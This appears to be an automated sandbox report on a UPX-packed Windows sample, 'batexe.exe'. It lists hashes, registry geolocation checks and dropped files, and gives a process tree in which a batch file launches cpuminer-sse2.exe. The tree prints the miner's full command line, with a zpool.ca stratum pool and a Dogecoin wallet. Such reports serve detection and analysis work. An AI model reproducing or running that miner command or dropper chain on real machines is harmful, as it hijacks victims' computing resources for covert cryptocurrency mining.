73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 12:08

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4892	b2e.exe
412	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
412	cpuminer-sse2.exe
412	cpuminer-sse2.exe
412	cpuminer-sse2.exe
412	cpuminer-sse2.exe
412	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1292-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1292 wrote to memory of 4892	1292	batexe.exe	83
PID 1292 wrote to memory of 4892	1292	batexe.exe	83
PID 1292 wrote to memory of 4892	1292	batexe.exe	83
PID 4892 wrote to memory of 5804	4892	b2e.exe	84
PID 4892 wrote to memory of 5804	4892	b2e.exe	84
PID 4892 wrote to memory of 5804	4892	b2e.exe	84
PID 5804 wrote to memory of 412	5804	cmd.exe	87
PID 5804 wrote to memory of 412	5804	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1292
- C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AEED.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5804
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe

Filesize
1.6MB

MD5
328cc7bc67ca4f02417c32779095dc6e

SHA1
a4b3138fcc83dd6d22979312c6c65d24345d234c

SHA256
9bdb955da0bed205e304bdac77ea584082765f94f1cf7af052f93a6fbe7353da

SHA512
868bec864fe7913c059d0dc08502020be93d4364bfe786097712bddf43f726f12cde4ede73e31c95b8d136f636b563aab3d3cc0bf678e33755667740f8178119

Download Submit
C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe

Filesize
8.0MB

MD5
7279634f0e380860d67384613122a9b4

SHA1
5d0537b4005e31cc6f7a80cadd7ff60c58ba945c

SHA256
36f68e917f927c17c9e1aaf09c4f5daa592475d037272aeec658689c7a571678

SHA512
ab5ccebcc50e9af826b72764aed37a688c5a142badd8ce5ea388f9661ff373cd67ca4a7006f1217fb261fbe4c6454e369012caadc8ad2d0d6f7a874462800bac

Download Submit
C:\Users\Admin\AppData\Local\Temp\A25A.tmp\b2e.exe

Filesize
7.2MB

MD5
7cc1fb3b1bb6c3738420eb4597e17a3d

SHA1
9bdee1a510db7030127fab7e4b84099bb0b6d30d

SHA256
9fecf323a4f5740c7e511e36cb75c34b5442d1dd3b1b3f9538bc2aa4416913f3

SHA512
00404d811382bcbe0377828ab1bd9c5fefb431c3820f2c1ddef2bd09c856d21fad51b091627af7e05464271998176d66169bc5f3ff6514b736693e27ce87c6dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\AEED.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
618KB

MD5
290786de9e5b1dfea859e5aca8c71976

SHA1
ca0cccad621dc9b2ae47dfb8612b39244f54cc1c

SHA256
05e146c375495e16996a4ceedc7cf7f3855bceeb7b4920ec33aff6d36d982bf2

SHA512
434b977443f9c9d5b0ef7d8839feff99abc98cdb650119a6c69398c4141095b2918980ee6e106f4e0691132fbff45e04e228ef0a005fbbdba172b4cb0012aa06

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.7MB

MD5
4823f522b5cd16c0837b8a94d3344765

SHA1
2dcf0b9faf91863007d3d3c6fcfdae6c76a9f763

SHA256
07cf84f40830cb7347cda7ff16e837f8340d26a487a7e5bf7e19b3b6a4e8c3b0

SHA512
4a769facc11d124119e7164cd820e7f34c5a93c89661dd568e5ffa0fae4a04ec8afed67d6e6c24e6f68761a6458506790ab29c8a55eca0f25465bfb5e9b233c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
102a30b479295f86683a43d4c2a3b777

SHA1
9e3f4d6d3e016c4987e80f34117ce8c7ec8252e7

SHA256
2f7ee8a286550706913dbce43f8bca5ff8f76e0609a08f95e918e9ab23e983c8

SHA512
74625405b8ae308d1f75d61b9c2ee2396a68bcb6f48ccb83787094a02b013d40f9cf1374e17b9d7824cdc74e2c5f0be101f374a623505639b22d308f06ab7ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
4725510c47316a7f86b39c08d0a6c197

SHA1
436540f94969b934953aa6c4fabf7306cccf682a

SHA256
a40d793074fcc8d77eb29a3e3492cb553d1fa7986b8f9baa87778e13b137b1e1

SHA512
710a72ed773be382226609e9699c6467736f8bd5f7af3d393ba2f7123474478552f7029648c2ba0a8da8a352fcf24f54268355923e315b664442f2efe2fc5088

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/412-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-51-0x0000000070C80000-0x0000000070D18000-memory.dmp

Filesize
608KB

Download
memory/412-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/412-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/412-46-0x0000000070C80000-0x0000000070D18000-memory.dmp

Filesize
608KB

Download
memory/412-47-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/412-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-50-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/412-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/412-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1292-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4892-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4892-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download